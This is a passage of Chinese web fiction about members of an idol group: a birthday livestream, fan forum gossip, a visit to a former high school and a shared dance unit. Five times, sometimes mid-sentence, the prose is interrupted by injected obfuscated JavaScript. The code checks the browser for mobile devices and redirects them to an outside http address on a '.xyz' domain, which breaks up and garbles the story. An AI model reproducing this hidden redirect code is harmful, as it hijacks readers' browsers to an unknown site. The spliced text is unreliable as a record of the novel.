“……让我来看看弹幕都在说什么,”于是被集火的陆语心非常生硬地转移了话题,开始寻找下一个无辜的受害者,“十月怎么不在——十月在啊,能不能问点有价值的问题,这种场合十月怎么可能不在。” “能不能回答点有价值的弹幕,”应时月本来坐在摄像头背面安安静静吃披萨,结果莫名其妙被cue到,于是抬头说,“你今天是想把这里所有人都cue一遍吗?” 乔亦听到也笑了一声:“……语心哥还cue了谁?别问我,问他,看他自己敢不敢说。” 应时月总算吃完,想着既然都被点名了,干脆也就在镜头前探了个头:“你们还是不要问比较好——为了这里的大家能和谐相处。” 陆语心:“你们就差直接说了吧!” 当然,不出所料的是,从应时月的半个头出现在镜头中后,整个弹幕就变得密密麻麻起来。 [月宝探头.jpg] [!猝不及防的11同框] [十月你终于出现了再不出现我都要以为你和你老公不熟了呢]35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532592|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> [在正主面前造谣11不熟的都滚出去] [想多了,们月宝只是一个吃东西比较慢又比较在意形象的小男孩罢了] [话说十月这是说你们背后那两位一期生吗] [不然还能是什么] [刚刚说11现在是台面麦麸台下已决裂的人出来说说呢] [有的人真的好急,开播两分钟就开串了] [给有的弹幕说一下,真正的台下决裂是背后两位那样] 总之就是一些可想而知的发言,几乎已经要淹没乔亦本人粉丝的发言。 应时月于是对着镜头说:“大家少讨论一点乱七八糟的事,多留点弹幕给今天寿星吧——知道这里很多看乐子的,以后有的是机会给大家看乐子,或者也可以现在打开论坛讨论。” “十月前辈说得对,”唐言不知道什么时候也出现在镜头里,“大家多给乔亦前辈说几句生日快乐呗——刚好我们大家都还有一些话想要说。” 乔亦回过头,看到的是好几个L队的小后辈们都凑了过来、再然后是其他人。这群人接着就开始你一言我一语给乔亦说生日祝福,场面一度十分混乱。 “你们不要都试图往镜头前钻啊,”直到环节快结束,林茗予站在人群背后笑着说,“本来可以照全景的,结果现在怎么成抢镜头大赛了!” “前辈,”有一个新人回头看他,“你说这个话是因为你没挤进来吧?” 大家又都笑了起来,一边笑,一边倒是给林茗予腾了个位置。 而应时月如今坐在乔亦旁边,在笑声中转回身看背后—— L队的后辈们环绕成一圈,簇拥着中心的乔亦和他。陆语心已然站起身,不知什么时候、也不知出于什么目的往后退了两步。 ——再往后,明宸和贺景然都混在人群之中,相隔一段距离,不看彼此,但都带着笑意。 应时月顿了顿,转回头,如今的弹幕又刷了一轮,八卦闲聊的发言已然被祝福所替代。于是他说:“祝乔亦生日快乐,也希望屏幕前的大家在新的一年也能多多支持他——” “……谢谢所有人,谢谢各位粉丝朋友们,”乔亦也笑,“也谢谢十月——新的一岁,我不会让大家失望的。” 37. 故地重游 直播持续的时间并不长,总共不到二十分钟。 乔亦和粉丝交流了一会,队里大家叽叽喳喳说了一通之后,他便同观众们说了再见,关闭了直播页面——大概他晚上还会单独开一个和粉丝聊天的直播,但总归不是现在。 毕竟这里只是一个小练习室,并不是什么聚会现场,如今又正是排练而非休息时刻,于是人群就像二十多分钟前涌入般从练习室门口流走,不少人走的时候还不忘再给乔亦来一句镜头后的生日快乐。 很快,这里就只剩下了本来在练双人曲的两人,外加一个明宸。 贺景然好像有过一瞬间也想要留下来说什么,但大抵是回过头发现明宸没有要跟着L队人群一起走的意向,于是只得自己回过身同陆语心一道出门。 走的时候还不忘来了句:“……那我晚点来找你。” “好哦,可以直接来我宿舍,”乔亦笑着回应,“我应该晚饭后就会回去。” 贺景然点点头,接着身影消失在门口。 他也没有问乔亦的宿舍号。应时月注视着他的背影,心想。 不知道是问过、通过别的途径打听过、还是早就去拜访过——并非所有人都如同他那样别扭,准确说来,就应时月最近不多的观察来看,贺景然和乔亦的社交模式再正常不过,同四年前没有任何分别。 就如同这不辞而别的四年并非同等般加诸每个人身上。 “十月,”明宸带有一点点隐性抱怨的声音,将应时月的目光和思绪都拉了回来,“快来帮忙。” ——明宸留下来不仅仅是因为他还有话要说,另一个原因是短暂的庆祝已然将屋子里搞得有点乱,作为这次行动的带头人之一,肯定是要帮忙收拾一下场地的。 当然,作为潜在带头人的应时月也有此职责。 他们找垃圾袋收了装披萨的盒子,将设备和屋内布置逐渐归位,又重新扫了地,乔亦也过来一起帮忙。 完了之后又闲聊了几分钟,明宸便也同两人告辞。 “你们好好练啊。”走的时候还不忘嘱咐一句。 “放心,”乔亦对他点点头,“绝对不会毁了你的part的。” “那倒是没关系,”明宸说,“反正最后是用我拉踩你。” 他说完就招了招手说我先走了,完全没留给乔亦任何反驳的机会。 乔亦于是叹了口气,又笑了出来:“十月你要休息会吗——还是现在继续?” “不用休息。”应时月站起身,原地跳了跳说,“毕竟今天还要早点结束。” * 排练到六点,两人一起去楼下食堂吃了个饭,然后就一同回宿舍。 虽说他们这两周经常一起在练习室,但这样单独一同下班……说起来还是第一次。 那些有意回避互动和交集的举动与行为模式,总归是被昨晚的留宿所击打出了一道裂痕——但两人对此都没有任何发自内心的抵触,因此无论心中作何感想,在表面上,“一起回去”这样的建议显然都变得顺理成章了起来。 所以应时月装作不经意般将其说了出来。 乔亦要提前回去,是因为他还需要再开一个直播,他听完就当下点点头:“好啊——那我去找个共享电动车,这边不太好找,你可以等两分钟再下来。” “也无所谓,”应时月提起背包,“几分钟也做不了什么。” 于是最终还是变成了同路。 回到宿舍后,应时月放下包,坐床上等了一会,估计着乔亦这时候大概也已经回到了房间,便又带上手机钥匙,把背包清空背上,重新推开房门下楼。 乔亦没有询问他提前回来的理由,不知是否是预料到了他晚点还有出门一趟的计划——但应该不至于这么神奇吧?应时月不太确定地心想,毕竟人又不是真的有读心术。 可能只是单纯没问,毕竟他们如今尚且还没缓和到会事无巨细打听行程的程度。 下楼梯的时候遇到了向上走的贺景然,应时月同他打了个招呼,两人便擦肩而过。 而直到应时月走到停车棚,才后知后觉想起,他刚刚遇到贺景然是在三楼到四楼之间,而贺景然如今搬去了二楼,和K队队友们离得更近——那他上楼肯定是去找乔亦的。 如今发消息显然已经来不及。应时月心想,希望他不要告诉乔亦自己出了趟门。 毕竟他要去一趟他高中那边,这种行程,他不太希望乔亦知道。 ——准确说来,也不是回学校,是去学校背后的小便利店。 “好久没见你来了,”他将车停在门口走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532593|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去,店主抬起来看了他几秒,然后说,“想买什么,还是就逛一下?” “阿姨您还记得我啊,”应时月实在是有点意外,“我已经毕业四年啦,毕业之后就比较忙,不太往这边走了。” “我记性好,经常来店里的学生我基本都记得,”店主对着他笑了笑,“而且你这么漂亮的小孩也不多见,印象还比较深——说起来,之前经常和你一起来的那个同学,他前两周也来过,你现在还和他有联系吗?” “……啊,还有,我们现在是同事,”应时月顿了顿,左顾右盼了一圈,发现店里整个都重新装修过,最后就选择了直接提问,“现在还有那种很好闻的桂花味洗衣液卖吗?” “还有,就知道你要问这个,”店主一副意料之中的表情,又给他指了指方向,“你同事前两周就是来买这个的,那边第二个货架直走,在最顶上一排。” “哦,好。”应时月闻言,顺着她的指路找到了熟悉的包装,拿了一瓶中等大小包装的,就回去结账,顺道在将其装进背包的过程中,又和店主闲聊了几句。 从店里走出来后,按理来说本应该直接回去。 但莫名其妙地,他调转了方向,骑车到了学校正门口。 校门口还是熟悉的荣誉榜。 如同应时月所说,过去的四年里,他确实没回过学校,唯一一次有空和高中同学去看班主任,还是在学校旁边两条街的一家茶馆。 当年乔亦从大学退学的事,自然而然传到了高中。班主任向应时月打听消息,应时月那会也只摇摇头说:“我不知道……我现在和他也不太熟了。” 而如今,那片荣誉墙已经与记忆中的不太一样了。早年的内容被压缩了不少,占据更大篇幅的是近几年学校的教学成果,其上多的是应时月不曾知晓的名字。 他在中间位置看到了2016级考上top2大学的学生名单。 名单一行五个人,文科理科和保送生分开列,按当初的高考成绩排。 应时月高考是全校第六,同乔亦的名字一上一下红纸黑字摆在高中校门口,旁边也都是当时理科实验班的同学的名字。 应时月看了一会,最后叹了口气。 他伸手从背包摸出手机,对着那两个紧挨着的名字拍了一张照片。 38. 我不好说 在此之后,应时月没有再多做停留。 现在距离初一年级晚自习放学已经没多久了,再不走,过会就要迎接学校门口一天一度的大堵车模式。 这多少有些没必要。 再回到宿舍的时候已经是九点。应时月走到楼下的时候,又探头看了看是否会在楼梯间遇到熟人——并觉得自己最近想要绕开人群做事的情况似乎变得多了起来。 不管怎么说都是乔亦的错。他心想。 这回不会再出门了,所以应时月回去洗漱了一通,接着就躺在了床上玩一会手机,首先当然是打开已经有21个小时没有阅读过的链团专组。 点进去的时候,飘在首页的是一个熟悉的帖名——不是说应时月看过这个帖子,而是……他自己说了标题的那句话。 他停顿了一会,最终还是点了进去。 * 【主题】“或者也可以现在打开论坛讨论” 主楼:标题来自十月发言,所以本人光速打开了论坛发出这个帖子 有在看乔帝直播想聊“乱七八糟的事”的都可以来这楼说 2L 震惊,这居然是十月的发言 6L 主楼潜台词=不在这里祝我前夫哥生日快乐的都滚出直播间 只能说10,你还爱他 9L 回复6L:这还用你说? 只能说有些人是真的急,刚开直播那两分钟oct没出现就开始急匆匆开帖子说着11又离了 13L 但是yysy,我们11就没有复婚,哪来的离 16L 说起来我一直有一个疑问,为什么十月的缩写要用oct不直接用ysy 18L 回复16L:因为ysy在你团指一期生年龄排第一那位 20L 所以都是一期生为什么要把这个缩写让给别人啊 21L 怎么不说都是一期生为什么要把公开日让给十月一个人当生日呢 24L 快别偏题了 27L 我来拉回话题,说起来乔帝真的好大的面子,居然能让那两位出现在一个直播镜头 29L 是这样的,虽然爱说mc是交际花,实际上搞链多年的都知道你团真正的交际花还得是11两口子,在你团谁都得给他俩面子的 32L 看到mc这个缩写也差点没反应过来 我说你们不要谁都喊缩写行吗 35L top的缩写都反应不过来反思一下是不是你不适合逛这个组 37L 不过虽然同框了好像也只是同框,并没有透露出任何认识的迹象 39L 非常拙劣地装作不认识不就是认识的迹象吗 我和陌生人也不像这两位哥这样 43L 说起来我觉得很耐人寻味的一点是,本来是lyx和11两口子一起坐前面的,结果说到后面lyx居然站起来往后退了几步 这是他能做出来的事情吗 46L 这当然是lyx能做出来的事,质疑的都是不够了解他的 这个人唯爱ky各种cp,结合十月的发言,怀疑他在开播前还ky过宸然 48L 陆语心,不愧是你 51L 所以还是那个你组最近的日经问题,11现在到底熟不熟 53L 实话说队友单独留位置这种再怎么都是侧面说明确实关系很特别,但是想到这是宸然都能ky的陆语心我又觉得不好说了 54L 他ky宸然难道不是ls的推断吗!怎么就光速当真了啊喂 56L 主要感觉10今天其实也不是特别特殊对待前夫哥,虽然看上去有点特殊但是仔细一想说是普通队友也没区别 59L 如果11能成为“普通队友”那何尝不是一种特殊对待 11的关系性就让他们注定本不应该是普通队友 62L 不过代入思考一下,我是十月的话我现在对前夫哥的态度应该也挺微妙的 这种说走就走说回就回的人就算再有感情那也不可能没有芥蒂 65L 我的建议是不要把台面上展现的东西太当真 乔帝对观众来说是人间蒸发,难不成真以为队友不知道吗,说白了呈现给你的都只是同事这一个属性的关系,在同事关系背后才是他们生活的大多数 68L 回复65L:……我觉得但凡熟悉十月的都能看出来他真的和前夫哥没联系吧 10这个人根本不会说谎的,非常单纯非常好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532594|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猜 71L 你组新名言#应时月非常单纯 74L 说起来你组讨论11的时候怎么总是在反复分析十月,谁来分析一下乔帝呢 77L 我觉得长了眼睛的人都知道乔帝根本不用分析,请把乔亦唯爱应时月打在公屏上谢谢 79L 我真的怀疑乔帝是为了他前夫回来的,虽然我不知道发生了什么但是乔帝这种就不像是会折返跑的 82L 话说你们是不是都没注意,我刚刚回看了一遍直播,发现在人还没有围上来的时候能看到远一点镜子旁边放了两个背包[图片] 相信熟悉的人都能看出来是谁的,说这么多不如分析一下这点 85L 回复82L:??啊,这说明什么,说明这个练习室本来是11两个人在用吗 86L 管他是不是反正我先这么造谣了,11两个人共享一个练习室,是不是要有双人舞台了啊 87L 双人舞台跳什么 最近也没有特殊公演,最近的十月生公要下个月,总不能是乔帝换掉明宸跳落霞吧 89L 猜这么多不如直接问,你和你老公还熟吗,真的要跳落霞吗@Link-应时月 * 应时月点了点89楼,在弹出的回复框里打字:我不好说,有可能吧。 然后点击发送。 他在论坛的id就叫Link-应时月,有一种大隐隐于市的美感——单单是链团专组,叫这个名字的就有十几个账号。 又因为他的论坛账号创建比较早,id序号很小,如果打at的符号,会首先推荐到他本人的号,所以组里很多人平时会at他玩。 娱乐组会取这种名字的网友实在是太多了,顶着偶像明星的id玩语c的也不少,当然没人会觉得这是应时月本人,最多只当其是某个月推在反炒。 毕竟这个号说话风格确实和应时月比较像,不熟悉的人还可能学不出来。 他发完,没过多久,就跳出来一条新回复。 “还不好说呢,都去陪前夫哥吃生日蛋糕了,你们到底是复婚了还是没离过啊,能不能给个准话啊。” 应时月一惊,一边回了一句“我真不知道啊”,一边打开链团fc,熟练切小号,然后点进了乔亦直播间。 39. 直播3.0! “……以及我最后说一遍,”点进去的时候,乔亦正在说话,而他口中的第一句话,就给应时月带来了相当程度的惊吓,“应时月对我来说永远都是很重要的朋友,我不要求所有人都喜欢他,但如果这里真的有人很讨厌他的话,建议也不要喜欢我,如果你觉得给我花了钱很亏的话,可以私信找我退钱。” 弹幕基本上分为三类,一类是“有些人能不能不要干涉偶像社交”,一类是“亦宝一直都爱给前室友说话,实在接受不了的别粉了吧不然双方都难受”,而第三类最多的,还是铺天盖地的问号。 在应时月的印象里,乔亦确实是很少指责粉丝的那类人。真要说起来,为数不多的几次,有一次是与L队的队内安排有关,剩下的大多数都和应时月自己相关。 虽说与内娱大多数偶像团体相比,链团的cp氛围已然非常浓厚,cp粉日常贯彻着贴脸正主、拳打脚踢唯粉的宗旨,如果是真正受不了自担cp粉的人,大多数都不会选择粉有大势cp的成员,毕竟粉大势cp的一方就是日常给自己添堵。 但那也是大多数。有圈子的地方就有争吵,真要让唯粉、cp粉和大势cp相方唯粉完全和谐相处,在什么地方都不可能。 他们曾经是大势cp——或许此时此刻也是,那理所当然也遇到过反感“时亦”的粉丝。这个问题在乔亦的粉圈相对更严重,而应时月的唯粉们算是top粉里对cp最无所谓的那群。乔亦一选比应时月高两名,二选比应时月低,就是因为其间有两位大粉因cp出坑。 而那两位出坑的契机,还要追溯到二选那年春天。当时有一个外务打投活动,是一个推理类的综艺,应时月和乔亦唯粉花了两周时间投票争第一,就为了让自家偶像去那个大热门综艺。 自然而然,这种投票的归宿都是买水。到倒数第二天时,不出所料,已然甩开第三名一大截的两个人,票数都开始出现了异常增长——那时候的注水机器远不如现在智能,应时月看过粉丝在贴吧拉的表,每过五到十分钟就会有一段票数的直线上升。 截止前五分钟,双方的票数更是堪称水漫金山,最后是应时月以微弱的差距赢得了胜利。 那是他们粉丝打最严重的一次。 乔亦粉丝自然不满,在Link官博下面疯狂控评,说应时月粉丝买水买太过了,还拉了excel表、曲线图和趋势分析,力证在脱水之后是自家票数更高。应时月粉丝则拉了时间线,说最先买水的是乔亦粉丝,比自家早了十分钟,自家是迫不得已才跟上的,对面先破坏游戏规则、还要恶人先告状。 打到后来自然从一次投票上升到了挖掘过去三年半的点点滴滴,从excel大混战上升到了人身攻击,盛况空前,应时月闻所未闻。 没想到,就在打得最激烈的时候,乔亦开了个直播,跳出来进行了一通任谁都知道不该说的发言。 “我觉得大家真的没必要争这些,”当初的直播里,他盯着摄像头,面无表情发言,“我和应时月关系很好,在我看来,这种综艺无论是他去还是我去没有任何区别,而且我也确实并没有很想去,都高三了,我想寒假多花点时间复习。” 在营业这方面,乔亦比应时月擅长得多。这种爆炸性的发言说出来,会对自己有多大的影响,他心中也应该清楚。 即使是应时月紧随其后开了直播,以一种“要掉粉一起掉粉要死一起死”的心态,说自己也没有那么在意这个外务机会,也只会被多数人判断是为了帮助乔亦稍做挽回的行为,而非那一刻的真心话。 “但我真觉得没必要,”当时的应时月这么说,“大家吵架,出来说不要互相人肉不要互相攻击就行了,为什么一定要这样呢?” “……没什么原因,”乔亦看着他,接着笑了起来,“平时花里胡哨的发言说太多了,有时候也想说几句真心话——可能我这个人多少有点没有心吧。” “谁信你寒假想复习高考啊。”应时月于是也笑着说。 ——他当然知道乔亦的“真心话”指的是什么,也知道乔亦这个人本性如何。但对方既然这么说,他就决定不再以一种“为你好”的口吻反驳了。 当然,结果也不出所料,乔亦的发言当然让那些为其冲锋陷阵的粉丝感到了些许失望,尤其是两个氪金大佬因此出坑——如果不是粉丝底子厚,二选蝉联第二的结果都差点没保住。 * 而此时此刻,应时月听到这段突如其来的发言,实在有些不明所以,就将进度条往前拉了三五分钟。 结果刚好就空降到了可能的事件起因之处。 一开始是乔亦聊到了下午的庆祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532595|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生日,然后有人发弹幕,说觉得应时月下午表现得非常不情不愿、兴致不高、有点冷漠,如果不是陆语心喊话根本演都不想演。 结果有人看到了这条,就跳出来说,演的怎么了,如果我被朋友这么说抛下就抛下的话,如今重逢我演都不想演,面对一个对不起自己的人,应时月已经做得非常仁至义尽了。 这句话发在乔亦的直播间,显然受到了乔亦粉丝的围攻。接着就有老粉跳出来说以前乔亦为应时月付出过多少,并询问为什么会有人将同事离职上升到“抛下”,难不成是应时月离了乔亦就活不下去了——这之类的。 接着,这份混战不免就有了对应时月本人的攻击。 “……别刷了,大家都冷静一点,首先应时月没有不情不愿和冷漠,生日零点就是他陪我过的,蛋糕也是他陪我吃的,”回放里的乔亦看了眼弹幕,接着说,“其次,各种意义上来说,他都是个再好不过的朋友了,不合格的是我——所以我不希望在这里看到对他的指责,如果大家对十月有什么不满,可以来骂不让你们发表不满的我本人。” 再往后,就是应时月点进直播间听到的那句话。 应时月有点心情复杂。 他总觉得自己应该说点什么,但又不知道该说点什么——这时候切大号出来发弹幕多少有点激化矛盾,事实上,在乔亦的发言后,弹幕对他的节奏已然偃旗息鼓,或者说,很多节奏转移给了乔亦本人。 私下找乔亦说就更不合适了——这种行为未免有点让人尴尬。 于是他沉思了一会,点了点右下角的送礼物图标,在最贵的、价值一千块的礼物那一栏,挑了一种,连续且独立送出十一个。 在他们fc,送出最贵的一档礼物都会在顶端飘屏一会。 乔亦神情似乎顿了顿,抬了抬眼,好像也是在看屏幕上方连续飘动的礼物提示。 “……感谢fsdfslkjvlntek送出的十一个‘金色之心’,谢谢你,”然后他笑了笑,微微低头,很认真地注视着摄像头,就像是隔着屏幕与对面对视一般,“祝屏幕背后的你能永远开心、平安、幸福而自由。” 原来真的记得这个账号啊。应时月捏着手机,心想。 即使乔亦没有挑明,但这串不同寻常的感谢词,已然能说明一切。 40. FIRST 弹幕速度一瞬间变快了不少。 一万出头这种直播礼物数额,放在总选的季节来说并不算多,但放在平平无奇的十月里,倒不是个小数目——即使今天是乔亦生日。 再加之乔亦的感谢词确实不同寻常,自然会引发讨论。 [11个,还选的金色之心,这是个11f吗] [主播这次的感谢词好独特哦,11f在主播直播间送礼物会有特别感谢词吗] [前面猜11f不如猜是十月本人] [谁说的十月本人,感觉真有可能,什么粉丝会顶着默认名字送钱啊] 应时月看弹幕看得心惊胆战。 而屏幕上的乔亦只是笑了笑,让大家不要乱猜,容易给粉丝朋友带来困扰。 他说完,弹幕刷屏尚且还没结束。于是乔亦停了停,说要不然来唱歌吧,想听什么可以弹幕点歌。 [主播别唱歌] [亦宝还记得你的歌舞双废人设吗] [什么叫人设,我们亦神没有人设都是真的] [有的人懂什么,亦推爱的就是亦宝的五音不全] [你们未免也过于抽象了] 应时月在屏幕前笑了出声。 平心而论,相较于跳舞而言,乔亦唱歌水平并不算特别差。比团里的歌担line如唐言、林茗予、陆语心之流显然差得远,也比不过经常被说什么都会点的、如应时月本人,但也并非次次舞台都在跑调。 ——好像这个要求有点太低了。应时月自我反思了一下。 不过,仅论狭义的艺能,乔亦也有自己长处——他会弹琴、也会写歌。 18岁再往前,L队几个一期生时不时会在一些特殊公演上出特别乐队舞台,表演一些原创歌曲。 乔亦写歌,喻疏一填词,五个人还能刚好能凑齐一组乐队配置。应时月是吉他位,因为他什么都不会,而贺景然说吉他是最好学的,便自行替他做了安排——此外,喻疏一是主唱,贺景然是贝斯手,乔亦是键盘手,明宸则担任鼓手。 后来有一年,明宸说不如给这个限定乐队取个名。虽然这个提议遭到了大家的一致嫌弃,但明宸选择了求助粉丝。 所以,不出所料,在粉丝的强烈要求之下,他们最终还是妥协了——乐队最后的名字叫first,乔亦说这种英文名,一般都会以每个字母做首字母再组一个词,从而显得比较有档次。 三个高中生、一个初中生连带一个学理科的大学生于是跃跃欲试,绞尽脑汁,最终想出来了五个词,family,infinite,revive,sparkle,together,合在一起牵强到几个人盯着白纸上的五个词笑了好久。 而此时此刻,让应时月感到有些意外的是,屏幕上被提名次数最多的歌,并不是团外的时下流行歌或经典老歌,也并非队里的公演曲,而正是他们当初一期生小乐队的那首叫《first》的同名原创曲。 乔亦看着弹幕飘过,神色中似乎也有点应时月同款的意料之外。 他如今是用电脑直播的。于是乔亦没有如同一般直播唱歌那样打开音乐软件,而是直接进入了电脑桌面上一个叫“F”的收藏夹,并点出了这首歌的伴奏。 弹幕里正在为桌面上的F居然是first感到震惊——乔亦的桌面就五个图标,四个名字都不明所以的收藏夹外加一个回收站,能占据四分之一算是相当了不起的分量。 应时月也没想到。 直播镜头中的乔亦不再理会这些发言,而是跟着伴奏唱了起来——弹幕意料之外、而应时月预想之中的是,唱得还挺不错的,没有跑调,也没有节奏问题,有感情有技巧,弹幕都开始发你是不是被谁顶号了。 应时月又笑了笑,打开聊天软件,给明宸、贺景然和喻疏一群发一条消息。 十月: 【在看乔亦直播吗?】 * 应时月又一次看完了全场直播。 乔亦下播的时候,他才重新拿起手机。三个人都给他回了消息,喻疏一说刚开完组会,过会回去看回放,贺景然说在看,而明宸则是直接回了一串问号。 明宸: 【???】 【你居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532596|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会主动和我提到他的名字。】 应时月欲言又止,最后没理他。 他想说什么这几个人不会不明白。过去的几年里,大家对一些事一直闭口不谈,但乔亦的出现,无异于是打破平衡的契机。 这件事,陆语心开了个头,那下一步由他来进行也没什么问题。 毕竟,应时月是最接近风暴中心、又最置身事外的人。 这样想着,他打开衣柜,开始寻找几件很久没穿过的睡衣。 应时月这个人的物质追求很低。外穿的衣服他买得不少,毕竟每天换花哨的私服也是偶像营业的一部分。 但他的睡衣还真不多,数量刚好维持在能周转过来的水平——曾经还多几件,因为时亦应援会年年都做应援睡衣,他有好多件。 后来乔亦消失,这些也跟着一起被压进了箱子里,直到昨天,受到乔亦的提醒。 如今再也没有无法直面的理由,不如再重新翻出来穿——应时月这么想着,抱着几套衣服进了浴室,将它们全部扔进洗衣机,加进今天新买的洗衣液,放水,并按下了启动键。 急着今天去买洗衣液的根源,还是因为昨晚他将乔亦那件睡衣穿了回来,如今需要洗了再还回去。 他想着要尽可能还原,毕竟乔亦给他的时候,衣服自带的就是这个桂花味,如今最好也这样归还回去——应时月潜意识当然知道这就是借口,但他也会如此说服自己。 应时月想到这里,耳中又持续听着从浴室方向传来的洗衣机运作的声音,突然发现了不对—— 他自己扔进去的那堆衣服,显然也有乔亦给他那件的同款。他和乔亦身材身高都相近,衣服是同一个码子的,也都没有破损或者痕迹,显然,等他过会打开洗衣机之后,两套衣服将不会再有任何被区分开的可能。 应时月按了按手机,点开了和乔亦的聊天框,想了想,最后又什么都没说—— 他突然又有点心虚了。 就像最近经常躲躲闪闪、经常心口不一一样,应时月发现,自己最近好像也很容易心虚。 于是他长叹一口气。 41. 卡壳与平局 接下来的一周半时间过得很快。 在20号那场公演开票前不久,明宸总算在fanclub宣布了他接下来一个半月都不会上公演的消息。 Link这几年外地粉多了起来,普通公演的开票时间也比以往提前。加上有被嘲的前车之鉴在,为了让粉丝不再白跑一趟,确实需要比以前更早宣布缺席消息。 当然,明宸的粉丝已然对他时不时缺席一两个月这事接受良好了。事实上,自从他高三那年宣布考表演类之后,粉丝就早已对这样的后续有了充分的心理准备。 不能接受自家偶像去演戏的粉丝,在这三年里基本已经跑得差不多了,明宸如今的事业粉群体里,差不多舞台粉和演员粉五五开,倒也算稳定。 于是,真正的讨论热点便成了谁来替他的站位。 应时月已经和林茗予商量过。公演大歌基本是对称的编排,二号位和三号位的part数量差距不算明显——拉表数秒的话还是会差一点点。 于是林茗予说自己跳习惯了,懒得换了,便将二号位给了应时月。 应时月自己的四号位会由一个小后辈接任,而这个小后辈的八号位一半会给几个新人、另一半会给乔亦——之后乔亦也会同他们一样上全场。 总的来说,是一个尽可能让所有人都没有意见的改动。 明宸在fanclub也说了上述内容,而对双人unit的接任对象闭口不提——这个人习惯如此,很多话都不想说就不说,粉丝早就对此习惯了。 但纵然习惯,这种含糊其辞的态度还是引起了一些怀疑。于是就有人开始问,不会是让乔亦来吧。 这个猜想一开始不信的多,毕竟这是首高难舞曲。 但如果只是给一般的舞担line小后辈,显然没有闭口不提的理由。应时月本人展现在台面上的对乔亦的态度,让所有人都摸不太清楚,于是粉丝们干脆就去问最可能得到答案的乔亦本人。 那天晚上,应时月正开着fanclub,在一群熟人的直播间和聊天框查房,接着就收到了乔亦发来的微信消息。 乔亦: 【现在有很多人在我留言板问落霞的事】 【你觉得能说的话,我就直接宣布好了,免得大家猜来猜去】 【现在不想说也行】 十月: 【随便,你说吧】 应时月对此倒确实无所谓。 早一点说,观众的期待值会高一些,对他们那天表现的审视也会多一些——不能靠着揭示“时亦合作”这件事得到充分的热度、从而掩盖可能会出现的失误,但换来的,却是线下党cp粉可以得到确切的消息,从而能提前买票决定来看。 总的来说,只要他们自己好好发挥,说出来反而是利好cp粉的。 在收到他消息之后不久,乔亦就在自己的fanclub说了,接下来一个半月要替明宸的unit站位一事。 他原话倒是并没有提到应时月,不过意料之中的是,接下来几分钟,他的留言板已经被“十月”两个字刷满了。 应时月则是顺着已经开启的聊天框,继续发消息。 十月: 【你现在在宿舍吗】 【我来还一下衣服】 乔亦没有第一时间回复他,应时月也没刻意等,而是坐在床上随意逛着论坛。 ——主要是看那些标题里带着“速报”“落霞”“时亦”三个关键词的帖子。 而等了三五分钟,乔亦的回复总算姗姗来迟。 乔亦: 【不用麻烦你了!】 【我刚好要出门,可以顺路过来拿。】 【现在方便开一下门吗?】 意料之外的回复。 应时月穿上拖鞋下床,先是从猫眼看到了蹲在明宸房间门口的乔亦,接着才打开门。 乔亦站起身,走到房门口,好像这回没有要进门的意思。 “你等一下,”应时月回身,去床头柜拿起叠好的衣服,再转回来递给乔亦,“我已经洗过了。” “其实也可以不用洗直接给我的,”乔亦接过,对着他笑了笑,“反正都是扔进洗衣机。” “……不是,我其实是想说,”应时月心想你那房间根本就没有洗衣机,但也没有戳穿——毕竟他有思考了很久决定说、但其实并不是那么好开口的下一句发言,“我直接扔进的洗衣机,然后把你那件和我那件搞混了,如果你觉得……” 